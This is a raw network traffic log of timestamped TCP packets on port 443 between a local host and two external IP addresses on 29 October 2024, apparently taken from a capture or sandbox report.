Oct 29, 2024 18:42:40.184499025 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.185134888 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.185209990 CET	49837	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.185252905 CET	49837	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.185267925 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.188064098 CET	49842	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.188111067 CET	443	49842	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.188365936 CET	49842	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.188530922 CET	49842	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.188544035 CET	443	49842	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.231103897 CET	443	49832	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:40.275100946 CET	49832	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:40.275114059 CET	443	49832	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:40.276016951 CET	49832	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:40.276036024 CET	49832	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:40.276190042 CET	443	49832	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:40.276220083 CET	443	49832	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:40.276292086 CET	49832	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:40.305424929 CET	49843	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:40.305443048 CET	443	49843	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:40.305514097 CET	49843	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:40.305879116 CET	49843	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:40.305897951 CET	443	49843	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:40.368062973 CET	49844	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:40.368083000 CET	443	49844	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:40.368253946 CET	49844	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:40.368525982 CET	49844	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:40.368540049 CET	443	49844	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:40.647133112 CET	443	49838	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.647767067 CET	49838	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.647803068 CET	443	49838	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.648379087 CET	49838	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.648394108 CET	443	49838	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.679441929 CET	443	49839	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.680016041 CET	49839	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.680035114 CET	443	49839	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.680160046 CET	443	49840	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.680603027 CET	49839	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.680609941 CET	443	49839	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.680886030 CET	49840	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.680908918 CET	443	49840	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.681438923 CET	49840	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.681444883 CET	443	49840	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.756846905 CET	443	49841	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.757466078 CET	49841	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.757474899 CET	443	49841	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.757934093 CET	49841	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.757939100 CET	443	49841	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.811085939 CET	443	49840	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.811170101 CET	443	49840	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.811219931 CET	443	49840	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.811220884 CET	49840	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.811268091 CET	49840	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.811479092 CET	49840	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.811496019 CET	443	49840	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.811508894 CET	49840	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.811515093 CET	443	49840	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.811855078 CET	443	49839	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.811966896 CET	443	49839	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.812016964 CET	49839	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.812074900 CET	49839	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.812088966 CET	443	49839	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.812103033 CET	49839	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.812110901 CET	443	49839	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.815670967 CET	49845	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.815762043 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.815851927 CET	49845	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.815903902 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.815921068 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.815973043 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.816087008 CET	49845	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.816126108 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.816212893 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.816226959 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.816689014 CET	443	49838	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.816868067 CET	443	49838	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.816930056 CET	49838	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.817043066 CET	49838	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.817091942 CET	443	49838	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.817147017 CET	49838	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.817161083 CET	443	49838	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.819586992 CET	49847	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.819622993 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.819679976 CET	49847	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.819833994 CET	49847	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.819869041 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.888286114 CET	443	49841	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.888345003 CET	443	49841	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.888389111 CET	49841	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.888515949 CET	49841	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.888536930 CET	443	49841	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.888550043 CET	49841	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.888556004 CET	443	49841	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.891211987 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.891246080 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.891305923 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.891460896 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.891467094 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.925551891 CET	443	49842	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.925971031 CET	49842	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.925993919 CET	443	49842	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.926552057 CET	49842	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.926557064 CET	443	49842	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.057305098 CET	443	49842	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.057585001 CET	443	49842	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.057656050 CET	49842	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.057723045 CET	49842	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.057743073 CET	443	49842	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.057754993 CET	49842	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.057761908 CET	443	49842	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.060777903 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.060808897 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.060879946 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.061021090 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.061044931 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.417646885 CET	443	49843	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:41.417802095 CET	49843	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:41.427514076 CET	49843	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:41.427525997 CET	443	49843	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:41.427752018 CET	443	49843	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:41.428257942 CET	49843	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:41.428303957 CET	49843	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:41.428329945 CET	443	49843	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:41.471409082 CET	443	49844	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:41.473472118 CET	49844	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:41.473484039 CET	443	49844	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:41.474467039 CET	49844	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:41.474472046 CET	443	49844	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:41.474519014 CET	49844	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:41.474526882 CET	443	49844	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:41.553124905 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.553647041 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.553664923 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.554271936 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.554279089 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.554447889 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.554910898 CET	49847	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.554930925 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.555414915 CET	49847	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.555422068 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.560050011 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.560519934 CET	49845	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.560540915 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.561003923 CET	49845	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.561011076 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.667399883 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.667984962 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.667996883 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.668620110 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.668625116 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.684442043 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.684504986 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.684617996 CET	49847	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.684881926 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.684916019 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.684976101 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.684978962 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.685003996 CET	49847	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.685019016 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.685023069 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.685218096 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.685233116 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.685249090 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.685256958 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.688091040 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.688119888 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.688206911 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.688280106 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.688293934 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.688354969 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.688368082 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.688417912 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.688580036 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.688592911 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.733345032 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.733438969 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.733613968 CET	49845	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.734551907 CET	49845	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.734571934 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.734585047 CET	49845	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.734592915 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.745969057 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.746009111 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.746131897 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.746257067 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.746269941 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.805238008 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.805268049 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.805319071 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.805330038 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.805372953 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.805577040 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.805592060 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.805603027 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.805608034 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.807823896 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.808334112 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.808346033 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.808696032 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.808741093 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.808880091 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.808960915 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.808979034 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.809014082 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.809020042 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.815047026 CET	443	49843	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:41.868839979 CET	49843	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:41.868854046 CET	443	49843	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:41.869048119 CET	49843	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:41.869066954 CET	49843	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:41.869292974 CET	443	49843	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:41.869338036 CET	443	49843	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:41.869393110 CET	49843	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:41.938862085 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.939027071 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.939145088 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.939258099 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.939276934 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.939306974 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.939318895 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.942166090 CET	49854	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.942208052 CET	443	49854	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:41.942373037 CET	49854	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.942506075 CET	49854	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:41.942523003 CET	443	49854	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.418523073 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.419199944 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.419212103 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.419826984 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.419831991 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.460199118 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.460685015 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.460704088 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.461220026 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.461227894 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.515038013 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.515645027 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.515664101 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.516134977 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.516139984 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.541409016 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.541860104 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.541893959 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.542407990 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.542413950 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.549918890 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.550002098 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.550209045 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.550231934 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.550231934 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.550249100 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.550260067 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.553416014 CET	49855	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.553453922 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.553549051 CET	49855	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.553689957 CET	49855	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.553702116 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.597752094 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.597820997 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.597886086 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.598144054 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.598144054 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.598166943 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.598176956 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.601316929 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.601356030 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.601460934 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.601613045 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.601629019 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.650243044 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.650269985 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.650335073 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.650367022 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.650485992 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.650825024 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.650825024 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.650842905 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.650855064 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.653650999 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.653672934 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.653753042 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.653969049 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.653980970 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.671921015 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.671983957 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.672163010 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.672203064 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.672203064 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.672221899 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.672230959 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.675406933 CET	49858	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.675429106 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.675519943 CET	49858	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.675676107 CET	49858	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.675690889 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.687594891 CET	443	49854	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.688024998 CET	49854	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.688035965 CET	443	49854	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.688587904 CET	49854	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.688594103 CET	443	49854	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.820003033 CET	443	49854	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.820084095 CET	443	49854	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.820135117 CET	49854	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.820362091 CET	49854	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.820385933 CET	443	49854	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.825139999 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.825176001 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:42.825289011 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.825488091 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:42.825504065 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.491647005 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.508862972 CET	49855	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.508888006 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.511059046 CET	49855	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.511064053 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.616578102 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.617032051 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.617048979 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.617477894 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.617494106 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.618175030 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.618454933 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.618463039 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.618787050 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.618792057 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.620697021 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.621048927 CET	49858	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.621071100 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.621454954 CET	49858	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.621462107 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.630548954 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.630897045 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.630907059 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.631373882 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.631378889 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.636154890 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.636221886 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.636274099 CET	49855	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.636379957 CET	49855	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.636393070 CET	443	49855	13.107.246.45	192.168.2.5
